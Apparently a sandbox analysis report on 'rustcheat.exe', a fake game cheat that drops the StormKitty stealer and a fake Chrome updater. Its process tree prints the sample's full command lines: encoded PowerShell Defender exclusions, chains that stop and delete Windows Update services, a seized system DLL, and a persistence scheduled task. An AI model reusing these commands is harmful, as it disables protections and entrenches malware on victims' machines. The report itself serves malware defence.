Analysis

  • max time kernel
    135s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    12-08-2023 12:40

General

  • Target

    rustcheat.exe

  • Size

    4.4MB

  • MD5

    50c839c62f01c2f2be0ff9eacdca3c84

  • SHA1

    e747243b3d708857799e3d172412d5c8af99b02e

  • SHA256

    d369a5d2ef50b7e9eea2e61b45294270c0a27cad70edb47cf61ba76f1810fad7

  • SHA512

    1af308ce12056c988cdb5f50603e30357bfa7cc8a0c1d35b1a72e522fdcce23ddbd86c40b6a030a3ddafb1d01518edb511076e3b86e4c2af555d792824dec091

  • SSDEEP

    98304:AV5/ubyrtiqzCy/5Tinwrnkw1/Qbhy0l/H9kx5TKMglVRA:Azub4l9/5JYKYbJ59kx5OMaVRA

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 7 IoCs
  • Downloads MZ/PE file
  • Possible privilege escalation attempt 6 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 6 IoCs
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Launches sc.exe 15 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry key 1 TTPs 27 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\rustcheat.exe
    "C:\Users\Admin\AppData\Local\Temp\rustcheat.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2588
    • C:\Users\Admin\AppData\Local\Temp\testy.exe
      "C:\Users\Admin\AppData\Local\Temp\testy.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAYgB1AGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBlAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQBiAG8AcgAjAD4A"
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1920
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          4⤵
          • Launches sc.exe
          PID:2876
        • C:\Windows\system32\sc.exe
          sc stop WaaSMedicSvc
          4⤵
          • Launches sc.exe
          PID:1804
        • C:\Windows\system32\sc.exe
          sc stop wuauserv
          4⤵
          • Launches sc.exe
          PID:2728
        • C:\Windows\system32\sc.exe
          sc stop bits
          4⤵
          • Launches sc.exe
          PID:2760
        • C:\Windows\system32\sc.exe
          sc stop dosvc
          4⤵
          • Launches sc.exe
          PID:2436
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
          4⤵
          • Modifies registry key
          PID:2372
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
          4⤵
          • Modifies registry key
          PID:1632
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
          4⤵
          • Modifies security service
          • Modifies registry key
          PID:840
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
          4⤵
          • Modifies registry key
          PID:2688
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
          4⤵
          • Modifies registry key
          PID:2596
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1496
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2900
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:3012
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:1928
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:1140
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:1124
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
          4⤵
            PID:1696
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
            4⤵
              PID:2024
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
              4⤵
                PID:1076
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                4⤵
                  PID:1960
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                  4⤵
                    PID:3004
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                    4⤵
                      PID:2488
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                      4⤵
                        PID:1752
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2732
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-ac 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2720
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-dc 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2784
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -standby-timeout-ac 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2712
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -standby-timeout-dc 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1784
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe\""
                      3⤵
                        PID:1704
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe\""
                          4⤵
                          • Creates scheduled task(s)
                          PID:2500
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
                        3⤵
                          PID:2348
                          • C:\Windows\system32\schtasks.exe
                            schtasks /run /tn "GoogleUpdateTaskMachineQC"
                            4⤵
                              PID:2032
                        • C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe
                          "C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe"
                          2⤵
                          • Executes dropped EXE
                          • Modifies system certificate store
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2632
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpCE85.tmp.bat
                            3⤵
                              PID:1344
                              • C:\Windows\system32\chcp.com
                                chcp 65001
                                4⤵
                                  PID:2540
                                • C:\Windows\system32\taskkill.exe
                                  TaskKill /F /IM 2632
                                  4⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1812
                                • C:\Windows\system32\timeout.exe
                                  Timeout /T 2 /Nobreak
                                  4⤵
                                  • Delays execution with timeout.exe
                                  PID:1524
                          • C:\Windows\system32\taskeng.exe
                            taskeng.exe {34F6453D-8D3B-45D6-AC0B-C71CD6791D8A} S-1-5-21-377084978-2088738870-2818360375-1000:DSWJWADP\Admin:Interactive:[1]
                            1⤵
                            • Loads dropped DLL
                            PID:2124
                            • C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe
                              C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe
                              2⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1900
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAYgB1AGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBlAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQBiAG8AcgAjAD4A"
                                3⤵
                                • Drops file in System32 directory
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1744
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                3⤵
                                  PID:760
                                  • C:\Windows\system32\sc.exe
                                    sc stop UsoSvc
                                    4⤵
                                    • Launches sc.exe
                                    PID:2576
                                  • C:\Windows\system32\sc.exe
                                    sc stop WaaSMedicSvc
                                    4⤵
                                    • Launches sc.exe
                                    PID:880
                                  • C:\Windows\system32\sc.exe
                                    sc stop wuauserv
                                    4⤵
                                    • Launches sc.exe
                                    PID:2328
                                  • C:\Windows\system32\sc.exe
                                    sc stop bits
                                    4⤵
                                    • Launches sc.exe
                                    PID:2564
                                  • C:\Windows\system32\sc.exe
                                    sc stop dosvc
                                    4⤵
                                    • Launches sc.exe
                                    PID:2220
                                  • C:\Windows\system32\reg.exe
                                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                                    4⤵
                                    • Modifies registry key
                                    PID:1724
                                  • C:\Windows\system32\reg.exe
                                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                                    4⤵
                                    • Modifies registry key
                                    PID:1680
                                  • C:\Windows\system32\reg.exe
                                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                                    4⤵
                                    • Modifies registry key
                                    PID:1972
                                  • C:\Windows\system32\reg.exe
                                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                                    4⤵
                                    • Modifies registry key
                                    PID:2652
                                  • C:\Windows\system32\reg.exe
                                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                                    4⤵
                                    • Modifies registry key
                                    PID:1720
                                  • C:\Windows\system32\takeown.exe
                                    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                                    4⤵
                                    • Possible privilege escalation attempt
                                    • Modifies file permissions
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2072
                                  • C:\Windows\system32\icacls.exe
                                    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                    4⤵
                                    • Possible privilege escalation attempt
                                    • Modifies file permissions
                                    PID:2464
                                  • C:\Windows\system32\reg.exe
                                    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                                    4⤵
                                    • Modifies registry key
                                    PID:3036
                                  • C:\Windows\system32\reg.exe
                                    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                    4⤵
                                    • Modifies registry key
                                    PID:3052
                                  • C:\Windows\system32\reg.exe
                                    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                    4⤵
                                    • Modifies registry key
                                    PID:2412
                                  • C:\Windows\system32\reg.exe
                                    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                    4⤵
                                    • Modifies registry key
                                    PID:2392
                                  • C:\Windows\system32\schtasks.exe
                                    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                                    4⤵
                                      PID:1264
                                    • C:\Windows\system32\schtasks.exe
                                      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                                      4⤵
                                        PID:2864
                                      • C:\Windows\system32\schtasks.exe
                                        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                                        4⤵
                                          PID:1756
                                        • C:\Windows\system32\schtasks.exe
                                          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                                          4⤵
                                            PID:2792
                                          • C:\Windows\system32\schtasks.exe
                                            SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                                            4⤵
                                              PID:2796
                                            • C:\Windows\system32\schtasks.exe
                                              SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                                              4⤵
                                                PID:2840
                                              • C:\Windows\system32\schtasks.exe
                                                SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                                4⤵
                                                  PID:2868
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                3⤵
                                                  PID:2432
                                                  • C:\Windows\system32\powercfg.exe
                                                    powercfg /x -hibernate-timeout-ac 0
                                                    4⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1828
                                                  • C:\Windows\system32\powercfg.exe
                                                    powercfg /x -hibernate-timeout-dc 0
                                                    4⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2276
                                                  • C:\Windows\system32\powercfg.exe
                                                    powercfg /x -standby-timeout-ac 0
                                                    4⤵
                                                      PID:2600
                                                    • C:\Windows\system32\powercfg.exe
                                                      powercfg /x -standby-timeout-dc 0
                                                      4⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2084
                                                  • C:\Windows\System32\conhost.exe
                                                    C:\Windows\System32\conhost.exe "ofrnufvwokgx"
                                                    3⤵
                                                    • Loads dropped DLL
                                                    PID:2028
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AdgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAcwBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAZgByAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcAB2AGcAIwA+AA=="
                                                      4⤵
                                                      • Drops file in System32 directory
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2352
                                                    • C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2948
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAYgB1AGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBlAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQBiAG8AcgAjAD4A"
                                                        5⤵
                                                        • Drops file in System32 directory
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2940
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                                        5⤵
                                                          PID:2976
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop UsoSvc
                                                            6⤵
                                                            • Launches sc.exe
                                                            PID:2268
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop WaaSMedicSvc
                                                            6⤵
                                                            • Launches sc.exe
                                                            PID:2020
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop wuauserv
                                                            6⤵
                                                            • Launches sc.exe
                                                            PID:2500
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop bits
                                                            6⤵
                                                            • Launches sc.exe
                                                            PID:2012
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop dosvc
                                                            6⤵
                                                            • Launches sc.exe
                                                            PID:2348
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:2112
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:280
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:2540
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:2404
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:2952
                                                          • C:\Windows\system32\takeown.exe
                                                            takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                                                            6⤵
                                                            • Possible privilege escalation attempt
                                                            • Modifies file permissions
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2144
                                                          • C:\Windows\system32\icacls.exe
                                                            icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                                            6⤵
                                                            • Possible privilege escalation attempt
                                                            • Modifies file permissions
                                                            PID:2908
                                                          • C:\Windows\system32\reg.exe
                                                            reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:1520
                                                          • C:\Windows\system32\reg.exe
                                                            reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:2224
                                                          • C:\Windows\system32\reg.exe
                                                            reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:2568
                                                          • C:\Windows\system32\reg.exe
                                                            reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                                            6⤵
                                                            • Modifies registry key
                                                            PID:1668
                                                          • C:\Windows\system32\schtasks.exe
                                                            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                                                            6⤵
                                                              PID:2056
                                                            • C:\Windows\system32\schtasks.exe
                                                              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                                                              6⤵
                                                                PID:2716
                                                              • C:\Windows\system32\schtasks.exe
                                                                SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                                                                6⤵
                                                                  PID:2980
                                                                • C:\Windows\system32\schtasks.exe
                                                                  SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                                                                  6⤵
                                                                    PID:2040
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                                                                    6⤵
                                                                      PID:1996
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                                                                      6⤵
                                                                        PID:1812
                                                                      • C:\Windows\system32\schtasks.exe
